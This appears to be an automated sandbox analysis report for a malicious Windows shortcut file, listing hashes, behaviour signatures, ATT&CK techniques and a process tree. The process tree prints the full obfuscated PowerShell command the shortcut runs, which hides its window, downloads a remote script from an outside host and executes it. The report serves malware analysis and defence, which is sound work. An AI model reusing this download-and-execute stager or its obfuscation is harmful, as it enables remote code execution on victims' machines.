02ad87e946a127508c1741205a106e1a05da79f5b20ec10bf1507aae01f949dc

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
26-11-2024 10:28

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General

Target

02ad87e946a127508c1741205a106e1a05da79f5b20ec10bf1507aae01f949dc.lnk
Size

2KB
MD5

464e2f94ac97b9bf225d303e0d05f114
SHA1

d8511f96d21071b1d5a4cf923ba84ed1fb67df46
SHA256

02ad87e946a127508c1741205a106e1a05da79f5b20ec10bf1507aae01f949dc
SHA512

e3e3d3aa76c7d7fc7af1f3d3e339eb3c255d25858fce413479cf8ba43af7137d88dc5cf2127c4b24e30973d65bdd5b76cb9fd0c187604c609f6a1a8438725ff6

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2720	powershell.exe
6	2720	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2720	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2720	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2104 wrote to memory of 2720	2104	cmd.exe	31
PID 2104 wrote to memory of 2720	2104	cmd.exe	31
PID 2104 wrote to memory of 2720	2104	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\02ad87e946a127508c1741205a106e1a05da79f5b20ec10bf1507aae01f949dc.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2104
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -command &{$ty = 'h5&24g#' + 'UofhxvBcjU' + 'bh#n^_fev4df' + 'hhjwh#dhCz' + 'ghii57r6_fr#tKy' + 'jhr9tfKJry'; [string] $aCmd = {(New-xprObject Nxpretxpr.WebCxprlient).DoxprwnlxproadxprStrxprinxprg('ht' + 'txprps:/' + '/xprpaxprn' + 'axprkexpros' + '.xpricxpru/scxprrxprxpriptxprs/scxpr-xpr' + 'xprintxprermexprdixprxpratexpr.pxprs1xpr')}; $rCmd = $aCmd.replace('xpr', ''); $finalExec = iex $rCmd; iex $finalExec; }
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2720-38-0x000007FEF58AE000-0x000007FEF58AF000-memory.dmp

Filesize
4KB

Download
memory/2720-39-0x000000001B850000-0x000000001BB32000-memory.dmp

Filesize
2.9MB

Download
memory/2720-40-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2720-41-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-42-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-45-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-44-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-43-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2720-46-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download